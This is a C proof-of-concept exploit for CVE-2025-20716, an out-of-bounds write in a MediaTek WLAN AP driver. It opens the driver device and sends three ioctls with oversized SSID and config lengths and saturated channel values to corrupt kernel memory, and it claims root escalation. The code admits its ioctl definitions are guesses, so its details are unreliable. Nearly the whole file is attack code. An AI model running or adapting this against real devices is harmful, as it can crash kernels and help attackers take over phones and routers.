/*
* CVE-2025-20716 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC
* Vulnerability: OOB Write in wlan AP driver due to incorrect bounds check
* Impact: Local Privilege Escalation to System/Root
*
* This is a conceptual PoC demonstrating the exploitation approach.
* The actual vulnerable function and offset vary by chipset and driver version.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <errno.h>
// MediaTek WLAN driver IOCTL definitions (example, may vary by version)
#define MTK_WLAN_AP_IOC_MAGIC 'W'
#define MTK_WLAN_AP_SET_CONFIG _IOW(MTK_WLAN_AP_IOC_MAGIC, 0x01, struct mtk_ap_config)
#define MTK_WLAN_AP_SET_SSID _IOW(MTK_WLAN_AP_IOC_MAGIC, 0x02, struct mtk_ap_ssid)
#define MTK_WLAN_AP_SET_CHANNEL _IOW(MTK_WLAN_AP_IOC_MAGIC, 0x03, struct mtk_ap_channel)
#define MTK_AP_MAX_SSID_LEN 32
#define MTK_AP_MAX_CONFIG_SIZE 256
struct mtk_ap_ssid {
unsigned int ssid_len;
char ssid[MTK_AP_MAX_SSID_LEN];
};
struct mtk_ap_config {
unsigned int config_len;
char config_data[MTK_AP_MAX_CONFIG_SIZE];
};
struct mtk_ap_channel {
unsigned int channel;
unsigned int bandwidth;
unsigned int center_freq;
};
int main(int argc, char *argv[]) {
int fd;
int ret;
printf("[*] CVE-2025-20716 PoC - MediaTek WLAN AP Driver OOB Write\n");
printf("[*] Attempting to trigger out-of-bounds write...\n");
// Open the MediaTek WLAN AP driver device
fd = open("/dev/wmtWifi", O_RDWR);
if (fd < 0) {
fd = open("/dev/wlan_ap", O_RDWR);
}
if (fd < 0) {
printf("[-] Failed to open WLAN AP driver device: %s\n", strerror(errno));
printf("[-] This PoC requires a device with vulnerable MediaTek WLAN AP driver\n");
return -1;
}
printf("[+] Opened WLAN AP driver device (fd=%d)\n", fd);
// Trigger 1: OOB write via SSID length manipulation
struct mtk_ap_ssid malicious_ssid;
memset(&malicious_ssid, 0, sizeof(malicious_ssid));
// Set SSID length beyond the buffer boundary (OOB write trigger)
malicious_ssid.ssid_len = 0xFFFF;
memset(malicious_ssid.ssid, 'A', MTK_AP_MAX_SSID_LEN);
printf("[*] Triggering OOB write via SSID configuration (len=0x%X)...\n",
malicious_ssid.ssid_len);
ret = ioctl(fd, MTK_WLAN_AP_SET_SSID, &malicious_ssid);
printf("[*] ioctl returned: %d (errno=%d)\n", ret, errno);
// Trigger 2: OOB write via config buffer overflow
struct mtk_ap_config malicious_config;
memset(&malicious_config, 0, sizeof(malicious_config));
// Set config length beyond allocated buffer (OOB write trigger)
malicious_config.config_len = 0x10000;
memset(malicious_config.config_data, 0x41, MTK_AP_MAX_CONFIG_SIZE);
printf("[*] Triggering OOB write via config buffer (len=0x%X)...\n",
malicious_config.config_len);
ret = ioctl(fd, MTK_WLAN_AP_SET_CONFIG, &malicious_config);
printf("[*] ioctl returned: %d (errno=%d)\n", ret, errno);
// Trigger 3: OOB write via channel parameter manipulation
struct mtk_ap_channel malicious_channel;
malicious_channel.channel = 0xFFFFFFFF;
malicious_channel.bandwidth = 0xFFFFFFFF;
malicious_channel.center_freq = 0xFFFFFFFF;
printf("[*] Triggering OOB write via channel parameters...\n");
ret = ioctl(fd, MTK_WLAN_AP_SET_CHANNEL, &malicious_channel);
printf("[*] ioctl returned: %d (errno=%d)\n", ret, errno);
close(fd);
printf("[*] PoC execution completed.\n");
printf("[*] If the driver is vulnerable, check for kernel panic or privilege escalation.\n");
return 0;
}